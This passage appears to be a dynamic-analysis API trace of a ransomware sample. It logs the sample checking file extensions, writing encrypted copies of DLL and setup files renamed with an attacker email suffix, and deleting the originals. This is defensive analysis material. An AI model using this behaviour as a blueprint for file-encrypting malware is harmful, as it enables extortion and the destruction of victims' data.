(lpString1=".zip", lpString2=".dll") returned 1 [0155.244] lstrlenW (lpString=".rar") returned 4 [0155.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.244] lstrlenW (lpString=".bz2") returned 4 [0155.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.244] lstrlenW (lpString=".7z") returned 3 [0155.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0155.244] lstrlenW (lpString=".dbf") returned 4 [0155.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0155.244] lstrlenW (lpString=".1cd") returned 4 [0155.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0155.244] lstrlenW (lpString=".jpg") returned 4 [0155.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.245] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.245] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0155.245] GetLastError () returned 0x0 [0155.245] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0155.885] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0155.886] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.887] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x110, lpOverlapped=0x0) returned 1 [0155.887] SetEndOfFile (hFile=0x10a8) returned 1 [0155.887] CloseHandle (hObject=0x10a8) returned 1 [0155.889] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.889] SetEndOfFile (hFile=0x10e4) returned 1 [0155.890] CloseHandle (hObject=0x10e4) returned 1 [0155.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.891] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0155.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0155.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0155.891] lstrlenW (lpString=".doc") returned 4 [0155.891] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.891] lstrlenW (lpString=".docx") returned 5 [0155.891] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.891] lstrlenW (lpString=".pdf") returned 4 [0155.891] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.891] lstrlenW (lpString=".xls") returned 4 [0155.891] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.891] lstrlenW (lpString=".xlsx") returned 5 [0155.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.891] lstrlenW (lpString=".ppt") returned 4 [0155.891] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0155.892] lstrlenW (lpString=".zip") returned 4 [0155.892] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.892] lstrlenW (lpString=".rar") returned 4 [0155.892] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.892] lstrlenW (lpString=".bz2") returned 4 [0155.892] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.892] lstrlenW (lpString=".7z") returned 3 [0155.892] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0155.892] lstrlenW (lpString=".dbf") returned 4 [0155.892] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0155.892] lstrlenW (lpString=".1cd") returned 4 [0155.892] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0155.892] lstrlenW (lpString=".jpg") returned 4 [0155.892] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.892] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.892] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0155.893] GetLastError () returned 0x0 [0155.893] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0155.933] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0155.934] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.934] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x112, lpOverlapped=0x0) returned 1 [0155.934] SetEndOfFile (hFile=0x10a8) returned 1 [0155.935] CloseHandle (hObject=0x10a8) returned 1 [0155.945] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.945] SetEndOfFile (hFile=0x10e4) returned 1 [0155.946] CloseHandle (hObject=0x10e4) returned 1 [0155.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.946] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0155.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0155.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0155.947] lstrlenW (lpString=".doc") returned 4 [0155.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.947] lstrlenW (lpString=".docx") returned 5 [0155.947] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.947] lstrlenW (lpString=".pdf") returned 4 [0155.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.947] lstrlenW (lpString=".xls") returned 4 [0155.947] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.947] lstrlenW (lpString=".xlsx") returned 5 [0155.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.947] lstrlenW (lpString=".ppt") returned 4 [0155.947] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0155.947] lstrlenW (lpString=".zip") returned 4 [0155.947] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.947] lstrlenW (lpString=".rar") returned 4 [0155.947] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.947] lstrlenW (lpString=".bz2") returned 4 [0155.947] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.947] lstrlenW (lpString=".7z") returned 3 [0155.947] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0155.948] lstrlenW (lpString=".dbf") returned 4 [0155.948] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0155.948] lstrlenW (lpString=".1cd") returned 4 [0155.948] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0155.948] lstrlenW (lpString=".jpg") returned 4 [0155.948] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.948] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.948] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0155.949] GetLastError () returned 0x0 [0155.949] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0156.039] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0156.040] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.041] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x110, lpOverlapped=0x0) returned 1 [0156.041] SetEndOfFile (hFile=0x10a8) returned 1 [0156.041] CloseHandle (hObject=0x10a8) returned 1 [0156.049] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.049] SetEndOfFile (hFile=0x10e4) returned 1 [0156.051] CloseHandle (hObject=0x10e4) returned 1 [0156.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0156.051] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0156.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0156.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0156.052] lstrlenW (lpString=".doc") returned 4 [0156.052] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.052] lstrlenW (lpString=".docx") returned 5 [0156.052] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.052] lstrlenW (lpString=".pdf") returned 4 [0156.052] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.052] lstrlenW (lpString=".xls") returned 4 [0156.052] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.052] lstrlenW (lpString=".xlsx") returned 5 [0156.052] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.052] lstrlenW (lpString=".ppt") returned 4 [0156.052] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0156.052] lstrlenW (lpString=".zip") returned 4 [0156.052] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.052] lstrlenW (lpString=".rar") returned 4 [0156.052] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.052] lstrlenW (lpString=".bz2") returned 4 [0156.052] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.053] lstrlenW (lpString=".7z") returned 3 [0156.053] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0156.053] lstrlenW (lpString=".dbf") returned 4 [0156.053] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0156.053] lstrlenW (lpString=".1cd") returned 4 [0156.053] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0156.053] lstrlenW (lpString=".jpg") returned 4 [0156.053] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0156.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0156.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[bitcharity@protonmail.com].com"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0156.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0156.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0156.056] lstrlenW (lpString=".doc") returned 4 [0156.056] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.056] lstrlenW (lpString=".docx") returned 5 [0156.056] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0156.056] lstrlenW (lpString=".pdf") returned 4 [0156.056] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.056] lstrlenW (lpString=".xls") returned 4 [0156.056] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.056] lstrlenW (lpString=".xlsx") returned 5 [0156.056] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0156.056] lstrlenW (lpString=".ppt") returned 4 [0156.056] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0156.056] lstrlenW (lpString=".zip") returned 4 [0156.056] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.056] lstrlenW (lpString=".rar") returned 4 [0156.056] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.056] lstrlenW (lpString=".bz2") returned 4 [0156.056] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.056] lstrlenW (lpString=".7z") returned 3 [0156.056] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0156.056] lstrlenW (lpString=".dbf") returned 4 [0156.056] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0156.057] lstrlenW (lpString=".1cd") returned 4 [0156.057] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0156.057] lstrlenW (lpString=".jpg") returned 4 [0156.057] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.057] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.057] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0156.058] GetLastError () returned 0x0 [0156.058] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0156.078] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0156.085] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.085] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xfa, lpOverlapped=0x0) returned 1 [0156.085] SetEndOfFile (hFile=0x10a8) returned 1 [0156.086] CloseHandle (hObject=0x10a8) Thread: id = 853 os_tid = 0x1c04 [0128.624] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x35b0050 [0128.625] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x35c0058 [0128.625] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647c78 [0128.625] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x656200 [0128.625] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647c90 [0128.625] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x37be020 [0128.628] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ba0 [0128.628] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647ba0, Size=0x20) returned 0x5e3a28 [0128.628] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647b70 [0128.628] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647b70, Size=0x20) returned 0x5e3848 [0128.629] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.629] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0128.629] Wow64DisableWow64FsRedirection (in: OldValue=0x2c0ff50 | out: OldValue=0x2c0ff50*=0x0) returned 1 [0128.629] lstrlenW (lpString="kernel32.dll") returned 12 [0128.629] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0128.629] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.629] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0128.629] Sleep (dwMilliseconds=0x64) [0128.883] lstrcmpiW (lpString1=".cmd", lpString2=".com") returned -1 [0128.883] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0128.883] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1044 [0129.556] GetFileSizeEx (in: hFile=0x1044, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=577) returned 1 [0129.556] CloseHandle (hObject=0x1044) returned 1 [0129.556] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0129.556] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.556] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1044 [0129.556] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.556] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.556] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0130.178] GetLastError () returned 0x0 [0130.178] ReadFile (in: hFile=0x1044, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x241, lpOverlapped=0x0) returned 1 [0131.168] WriteFile (in: hFile=0x103c, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: 